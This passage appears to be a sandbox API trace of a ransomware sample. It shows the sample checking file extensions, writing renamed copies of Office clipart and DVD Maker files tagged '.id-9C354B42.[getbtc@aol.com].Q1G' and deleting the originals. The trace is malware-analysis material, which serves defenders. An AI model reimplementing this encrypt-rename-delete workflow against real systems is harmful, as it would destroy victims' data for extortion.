maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0238.174] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.174] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.174] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0238.174] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0238.174] lstrlenW (lpString=".doc") returned 4 [0238.174] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.174] lstrlenW (lpString=".docx") returned 5 [0238.174] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0238.174] lstrlenW (lpString=".pdf") returned 4 [0238.174] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.174] lstrlenW (lpString=".xls") returned 4 [0238.174] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.174] lstrlenW (lpString=".xlsx") returned 5 [0238.174] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0238.174] lstrlenW (lpString=".ppt") returned 4 [0238.174] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.174] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0238.174] lstrlenW (lpString=".zip") returned 4 [0238.174] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.174] lstrlenW (lpString=".rar") returned 4 [0238.174] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.174] lstrlenW (lpString=".bz2") returned 4 [0238.174] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.174] lstrlenW (lpString=".7z") returned 3 [0238.174] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.174] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0241.901] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.901] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0241.972] GetLastError () returned 0x0 [0241.972] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x7114, lpOverlapped=0x0) returned 1 [0241.988] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x7120, lpOverlapped=0x0) returned 1 [0241.990] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0241.990] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.990] SetEndOfFile (hFile=0x3a0) returned 1 [0241.990] CloseHandle (hObject=0x3a0) returned 1 [0241.990] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.990] SetEndOfFile (hFile=0x39c) returned 1 [0242.016] CloseHandle (hObject=0x39c) returned 1 [0242.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0242.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0242.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0242.017] lstrlenW (lpString=".doc") returned 4 [0242.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.018] lstrlenW (lpString=".docx") returned 5 [0242.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.018] lstrlenW (lpString=".pdf") returned 4 [0242.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.018] lstrlenW (lpString=".xls") returned 4 [0242.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.018] lstrlenW (lpString=".xlsx") returned 5 [0242.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.018] lstrlenW (lpString=".ppt") returned 4 [0242.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0242.018] lstrlenW (lpString=".zip") returned 4 [0242.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.018] lstrlenW (lpString=".rar") returned 4 [0242.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.018] lstrlenW (lpString=".bz2") returned 4 [0242.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.018] lstrlenW (lpString=".7z") returned 3 [0242.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0242.018] lstrlenW (lpString=".dbf") returned 4 [0242.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0242.018] lstrlenW (lpString=".1cd") returned 4 [0242.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0242.018] lstrlenW (lpString=".jpg") returned 4 [0242.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0242.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0242.018] lstrlenW (lpString=".doc") returned 4 [0242.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.018] lstrlenW (lpString=".docx") returned 5 [0242.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.018] lstrlenW (lpString=".pdf") returned 4 [0242.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.019] lstrlenW (lpString=".xls") returned 4 [0242.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.019] lstrlenW (lpString=".xlsx") returned 5 [0242.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.019] lstrlenW (lpString=".ppt") returned 4 [0242.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0242.019] lstrlenW (lpString=".zip") returned 4 [0242.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.019] lstrlenW (lpString=".rar") returned 4 [0242.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.019] lstrlenW (lpString=".bz2") returned 4 [0242.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.019] lstrlenW (lpString=".7z") returned 3 [0242.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0242.019] lstrlenW (lpString=".dbf") returned 4 [0242.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0242.019] lstrlenW (lpString=".1cd") returned 4 [0242.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0242.019] lstrlenW (lpString=".jpg") returned 4 [0242.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.019] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.019] lstrlenW (lpString="BD00160_.WMF") returned 12 [0242.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0242.062] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=22516) returned 1 [0242.062] CloseHandle (hObject=0x394) returned 1 [0242.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0242.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.066] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.066] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0242.067] GetLastError () returned 0x0 [0242.067] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x57f4, lpOverlapped=0x0) returned 1 [0242.068] WriteFile (in: hFile=0x394, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x5800, lpOverlapped=0x0) returned 1 [0242.070] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.070] WriteFile (in: hFile=0x394, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.070] SetEndOfFile (hFile=0x394) returned 1 [0242.070] CloseHandle (hObject=0x394) returned 1 [0242.070] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.070] SetEndOfFile (hFile=0x398) returned 1 [0242.072] CloseHandle (hObject=0x398) returned 1 [0242.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0242.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0242.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0242.073] lstrlenW (lpString=".doc") returned 4 [0242.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.073] lstrlenW (lpString=".docx") returned 5 [0242.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.074] lstrlenW (lpString=".pdf") returned 4 [0242.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.074] lstrlenW (lpString=".xls") returned 4 [0242.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.074] lstrlenW (lpString=".xlsx") returned 5 [0242.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.074] lstrlenW (lpString=".ppt") returned 4 [0242.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0242.074] lstrlenW (lpString=".zip") returned 4 [0242.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.074] lstrlenW (lpString=".rar") returned 4 [0242.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.074] lstrlenW (lpString=".bz2") returned 4 [0242.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.074] lstrlenW (lpString=".7z") returned 3 [0242.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0242.074] lstrlenW (lpString=".dbf") returned 4 [0242.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0242.074] lstrlenW (lpString=".1cd") returned 4 [0242.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0242.074] lstrlenW (lpString=".jpg") returned 4 [0242.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0242.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0242.074] lstrlenW (lpString=".doc") returned 4 [0242.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.074] lstrlenW (lpString=".docx") returned 5 [0242.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.074] lstrlenW (lpString=".pdf") returned 4 [0242.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.075] lstrlenW (lpString=".xls") returned 4 [0242.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.075] lstrlenW (lpString=".xlsx") returned 5 [0242.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.075] lstrlenW (lpString=".ppt") returned 4 [0242.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0242.075] lstrlenW (lpString=".zip") returned 4 [0242.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.075] lstrlenW (lpString=".rar") returned 4 [0242.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.075] lstrlenW (lpString=".bz2") returned 4 [0242.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.075] lstrlenW (lpString=".7z") returned 3 [0242.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0242.075] lstrlenW (lpString=".dbf") returned 4 [0242.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0242.075] lstrlenW (lpString=".1cd") returned 4 [0242.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0242.076] lstrlenW (lpString=".jpg") returned 4 [0242.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.076] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.076] lstrlenW (lpString="BD07804_.WMF") returned 12 [0242.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.076] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4924) returned 1 [0242.076] CloseHandle (hObject=0x398) returned 1 [0242.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0242.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.077] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.077] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0242.077] GetLastError () returned 0x0 [0242.077] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x133c, lpOverlapped=0x0) returned 1 [0242.079] WriteFile (in: hFile=0x394, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1340, lpOverlapped=0x0) returned 1 [0242.080] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.080] WriteFile (in: hFile=0x394, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.080] SetEndOfFile (hFile=0x394) returned 1 [0242.080] CloseHandle (hObject=0x394) returned 1 [0242.080] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.080] SetEndOfFile (hFile=0x398) returned 1 [0242.084] CloseHandle (hObject=0x398) returned 1 [0242.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0242.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0242.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0242.087] lstrlenW (lpString=".doc") returned 4 [0242.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.087] lstrlenW (lpString=".docx") returned 5 [0242.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.087] lstrlenW (lpString=".pdf") returned 4 [0242.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.087] lstrlenW (lpString=".xls") returned 4 [0242.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.087] lstrlenW (lpString=".xlsx") returned 5 [0242.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.087] lstrlenW (lpString=".ppt") returned 4 [0242.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0242.087] lstrlenW (lpString=".zip") returned 4 [0242.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.087] lstrlenW (lpString=".rar") returned 4 [0242.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.087] lstrlenW (lpString=".bz2") returned 4 [0242.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.087] lstrlenW (lpString=".7z") returned 3 [0242.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0242.087] lstrlenW (lpString=".dbf") returned 4 [0242.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0242.088] lstrlenW (lpString=".1cd") returned 4 [0242.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0242.088] lstrlenW (lpString=".jpg") returned 4 [0242.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0242.088] lstrlenW (lpString=".doc") returned 4 [0242.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.088] lstrlenW (lpString=".docx") returned 5 [0242.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.088] lstrlenW (lpString=".pdf") returned 4 [0242.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.088] lstrlenW (lpString=".xls") returned 4 [0242.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.088] lstrlenW (lpString=".xlsx") returned 5 [0242.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.088] lstrlenW (lpString=".ppt") returned 4 [0242.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0242.088] lstrlenW (lpString=".zip") returned 4 [0242.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.088] lstrlenW (lpString=".rar") returned 4 [0242.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.088] lstrlenW (lpString=".bz2") returned 4 [0242.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.088] lstrlenW (lpString=".7z") returned 3 [0242.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0242.088] lstrlenW (lpString=".dbf") returned 4 [0242.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0242.088] lstrlenW (lpString=".1cd") returned 4 [0242.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0242.089] lstrlenW (lpString=".jpg") returned 4 [0242.089] 